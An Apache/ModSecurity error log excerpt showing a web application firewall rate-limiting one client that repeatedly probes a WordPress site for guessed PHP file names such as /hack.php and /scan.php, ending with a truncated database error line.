[Fri Jan 09 10:30:21.664570 2026] [:error] [pid 30021:tid 30095] [client 20.24.220.9:1996] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aWBoPQ_M8aRtsTog5J8gXwAAAM4"]
[Fri Jan 09 10:30:25.595231 2026] [:error] [pid 44848:tid 44865] [client 20.24.220.9:2133] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aWBoQajajoTJAbEk87wvJwAAAE8"]
[Fri Jan 09 10:30:34.324138 2026] [:error] [pid 30113:tid 30139] [client 20.24.220.9:2159] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aWBoSqsz80DbrolLWsHv_QAAARc"]
[Fri Jan 09 10:31:25.013698 2026] [:error] [pid 30019:tid 30033] [client 20.24.220.9:2141] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/999.php"] [unique_id "aWBofUz3igHGwX5f7Ipv-gAAAAk"]
[Fri Jan 09 10:31:27.279230 2026] [:error] [pid 44848:tid 44874] [client 20.24.220.9:2123] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/999.php"] [unique_id "aWBof6jajoTJAbEk87wvzAAAAFg"]
[Fri Jan 09 10:31:31.405148 2026] [:error] [pid 30020:tid 30077] [client 20.24.220.9:2089] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/999.php"] [unique_id "aWBog8rjc66qOisG6L19nAAAAJc"]
[Fri Jan 09 10:31:34.699866 2026] [:error] [pid 44848:tid 44858] [client 20.24.220.9:2051] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/999.php"] [unique_id "aWBohqjajoTJAbEk87wv2QAAAEg"]
[Fri Jan 09 10:31:36.431142 2026] [:error] [pid 44848:tid 44867] [client 20.24.220.9:2040] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aWBoiKjajoTJAbEk87wv4AAAAFE"]
[Fri Jan 09 10:31:37.243170 2026] [:error] [pid 30020:tid 30063] [client 20.24.220.9:2095] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aWBoicrjc66qOisG6L19ogAAAIk"]
[Fri Jan 09 10:31:38.326706 2026] [:error] [pid 30019:tid 30048] [client 20.24.220.9:2092] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aWBoikz3igHGwX5f7IpwKQAAABg"]
[Fri Jan 09 10:31:40.388560 2026] [:error] [pid 30021:tid 30098] [client 20.24.220.9:1987] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aWBojA_M8aRtsTog5J8g1gAAANE"]
[Fri Jan 09 10:31:41.463650 2026] [:error] [pid 44848:tid 44867] [client 20.24.220.9:2174] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xyz.php"] [unique_id "aWBojajajoTJAbEk87wv6AAAAFE"]
[Fri Jan 09 10:31:43.373792 2026] [:error] [pid 44848:tid 44863] [client 20.24.220.9:2062] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xyz.php"] [unique_id "aWBoj6jajoTJAbEk87wv7AAAAE0"]
[Fri Jan 09 10:31:46.314113 2026] [:error] [pid 44848:tid 44861] [client 20.24.220.9:1992] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xyz.php"] [unique_id "aWBokqjajoTJAbEk87wv9QAAAEs"]
[Fri Jan 09 10:31:55.088495 2026] [:error] [pid 30020:tid 30076] [client 20.24.220.9:2127] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xyz.php"] [unique_id "aWBom8rjc66qOisG6L19twAAAJY"]
[Fri Jan 09 10:31:56.984743 2026] [:error] [pid 44848:tid 44855] [client 20.24.220.9:2082] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hack.php"] [unique_id "aWBonKjajoTJAbEk87wv_gAAAEU"]
[Fri Jan 09 10:32:02.185596 2026] [:error] [pid 30113:tid 30129] [client 20.24.220.9:2063] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hack.php"] [unique_id "aWBooqsz80DbrolLWsHwlQAAAQ0"]
[Fri Jan 09 10:32:07.180919 2026] [:error] [pid 30020:tid 30072] [client 20.24.220.9:2151] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hack.php"] [unique_id "aWBop8rjc66qOisG6L19yAAAAJI"]
[Fri Jan 09 10:32:10.371894 2026] [:error] [pid 30019:tid 30040] [client 20.24.220.9:2162] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hack.php"] [unique_id "aWBoqkz3igHGwX5f7IpwTgAAABA"]
[Fri Jan 09 10:32:12.681161 2026] [:error] [pid 44848:tid 44866] [client 20.24.220.9:2008] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/exploit.php"] [unique_id "aWBorKjajoTJAbEk87wwCgAAAFA"]
[Fri Jan 09 10:32:16.579469 2026] [:error] [pid 30113:tid 30119] [client 20.24.220.9:2067] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/exploit.php"] [unique_id "aWBosKsz80DbrolLWsHwqwAAAQM"]
[Fri Jan 09 10:32:17.304830 2026] [:error] [pid 30021:tid 30104] [client 20.24.220.9:2096] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/exploit.php"] [unique_id "aWBosQ_M8aRtsTog5J8hBgAAANc"]
[Fri Jan 09 10:33:09.692787 2026] [:error] [pid 30019:tid 30037] [client 20.24.220.9:2048] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/waf.php"] [unique_id "aWBo5Uz3igHGwX5f7Ipw8wAAAA0"]
[Fri Jan 09 10:33:12.120932 2026] [:error] [pid 30113:tid 30120] [client 20.24.220.9:2146] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/waf.php"] [unique_id "aWBo6Ksz80DbrolLWsHxAgAAAQQ"]
[Fri Jan 09 10:33:13.029251 2026] [:error] [pid 44848:tid 44869] [client 20.24.220.9:2094] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/waf.php"] [unique_id "aWBo6ajajoTJAbEk87wwXQAAAFM"]
[Fri Jan 09 10:33:15.277012 2026] [:error] [pid 30113:tid 30128] [client 20.24.220.9:2087] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/waf.php"] [unique_id "aWBo66sz80DbrolLWsHxBwAAAQw"]
[Fri Jan 09 10:33:18.282500 2026] [:error] [pid 30021:tid 30095] [client 20.24.220.9:2155] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/attack.php"] [unique_id "aWBo7g_M8aRtsTog5J8hfgAAAM4"]
[Fri Jan 09 10:33:19.776836 2026] [:error] [pid 30021:tid 30104] [client 20.24.220.9:2054] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/attack.php"] [unique_id "aWBo7w_M8aRtsTog5J8hgwAAANc"]
[Fri Jan 09 10:33:20.409741 2026] [:error] [pid 30020:tid 30065] [client 20.24.220.9:2120] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/attack.php"] [unique_id "aWBo8Mrjc66qOisG6L1-YQAAAIs"]
[Fri Jan 09 10:33:21.649781 2026] [:error] [pid 44848:tid 44863] [client 20.24.220.9:2100] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/attack.php"] [unique_id "aWBo8ajajoTJAbEk87wwZwAAAE0"]
[Fri Jan 09 10:33:22.547299 2026] [:error] [pid 44848:tid 44864] [client 20.24.220.9:2038] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pentest.php"] [unique_id "aWBo8qjajoTJAbEk87wwawAAAE4"]
[Fri Jan 09 10:33:24.134914 2026] [:error] [pid 30113:tid 30120] [client 20.24.220.9:1986] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pentest.php"] [unique_id "aWBo9Ksz80DbrolLWsHxEQAAAQQ"]
[Fri Jan 09 10:33:26.439594 2026] [:error] [pid 44848:tid 44857] [client 20.24.220.9:2060] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pentest.php"] [unique_id "aWBo9qjajoTJAbEk87wwcAAAAEc"]
[Fri Jan 09 10:33:27.542793 2026] [:error] [pid 30021:tid 30081] [client 20.24.220.9:2163] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pentest.php"] [unique_id "aWBo9w_M8aRtsTog5J8hlAAAAMA"]
[Fri Jan 09 10:33:30.001804 2026] [:error] [pid 30021:tid 30097] [client 20.24.220.9:2168] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aWBo-g_M8aRtsTog5J8hoAAAANA"]
[Fri Jan 09 10:33:32.044782 2026] [:error] [pid 30113:tid 30139] [client 20.24.220.9:2158] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aWBo_Ksz80DbrolLWsHxJQAAARc"]
[Fri Jan 09 10:33:32.850350 2026] [:error] [pid 44848:tid 44860] [client 20.24.220.9:2167] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aWBo_KjajoTJAbEk87wweAAAAEo"]
[Fri Jan 09 10:33:34.258041 2026] [:error] [pid 30113:tid 30123] [client 20.24.220.9:2175] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aWBo_qsz80DbrolLWsHxLgAAAQc"]
[Fri Jan 09 10:33:35.047296 2026] [:error] [pid 44848:tid 44856] [client 20.24.220.9:2081] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/scan.php"] [unique_id "aWBo_6jajoTJAbEk87wwfQAAAEY"]
[Fri Jan 09 10:33:35.971865 2026] [:error] [pid 30021:tid 30101] [client 20.24.220.9:2068] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/scan.php"] [unique_id "aWBo_w_M8aRtsTog5J8hpgAAANQ"]
[Fri Jan 09 10:33:37.283847 2026] [:error] [pid 30113:tid 30129] [client 20.24.220.9:2132] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/scan.php"] [unique_id "aWBpAasz80DbrolLWsHxNAAAAQ0"]
[Fri Jan 09 10:33:40.253522 2026] [:error] [pid 30021:tid 30105] [client 20.24.220.9:2076] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/scan.php"] [unique_id "aWBpBA_M8aRtsTog5J8hqwAAANg"]
[Fri Jan 09 10:33:42.641001 2026] [:error] [pid 30020:tid 30058] [client 20.24.220.9:2042] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/check.php"] [unique_id "aWBpBsrjc66qOisG6L1-bgAAAIQ"]
[Fri Jan 09 10:33:45.677325 2026] [:error] [pid 44848:tid 44851] [client 20.24.220.9:2057] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/check.php"] [unique_id "aWBpCajajoTJAbEk87wwjwAAAEE"]
[Fri Jan 09 10:33:47.238714 2026] [:error] [pid 30113:tid 30137] [client 20.24.220.9:2070] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/check.php"] [unique_id "aWBpC6sz80DbrolLWsHxPQAAARU"]
[Fri Jan 09 10:33:50.307406 2026] [:error] [pid 44848:tid 44861] [client 20.24.220.9:2107] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/check.php"] [unique_id "aWBpDqjajoTJAbEk87wwlwAAAEs"]
[Fri Jan 09 10:33:50.964796 2026] [:error] [pid 44848:tid 44868] [client 20.24.220.9:2028] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ver.php"] [unique_id "aWBpDqjajoTJAbEk87wwmQAAAFI"]
[Fri Jan 09 10:33:52.474076 2026] [:error] [pid 30019:tid 30044] [client 20.24.220.9:2021] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ver.php"] [unique_id "aWBpEEz3igHGwX5f7IpxJwAAABQ"]
[Fri Jan 09 10:34:01.108452 2026] [:error] [pid 30019:tid 30041] [client 20.24.220.9:2169] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ver.php"] [unique_id "aWBpGUz3igHGwX5f7IpxMgAAABE"]
[Fri Jan 09 10:34:03.362643 2026] [:error] [pid 44848:tid 44869] [client 20.24.220.9:2088] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ver.php"] [unique_id "aWBpG6jajoTJAbEk87wwqwAAAFM"]
[Fri Jan 09 10:34:05.840923 2026] [:error] [pid 30113:tid 30117] [client 20.24.220.9:2126] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/version.php"] [unique_id "aWBpHasz80DbrolLWsHxXwAAAQE"]
[Fri Jan 09 10:34:54.071427 2026] [:error] [pid 30020:tid 30077] [client 20.24.220.9:2110] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/basic.php"] [unique_id "aWBpTsrjc66qOisG6L1_SwAAAJc"]
[Fri Jan 09 10:34:55.721174 2026] [:error] [pid 30021:tid 30090] [client 20.24.220.9:2012] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/basic.php"] [unique_id "aWBpTw_M8aRtsTog5J8ihAAAAMk"]
[Fri Jan 09 10:35:01.949173 2026] [:error] [pid 44848:tid 44858] [client 20.24.220.9:1998] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/basic.php"] [unique_id "aWBpVajajoTJAbEk87wxBwAAAEg"]
[Fri Jan 09 10:35:04.392750 2026] [:error] [pid 30019:tid 30033] [client 20.24.220.9:2075] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/basic.php"] [unique_id "aWBpWEz3igHGwX5f7IpxfAAAAAk"]
[Fri Jan 09 12:13:32.626991 2026] [proxy_fcgi:error] [pid 30019:tid 30034] [client 103.4.122.14:33652] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wffilemods (filename,real_path,filenameMD5,knownFile,newMD5,SHAC) VALUES 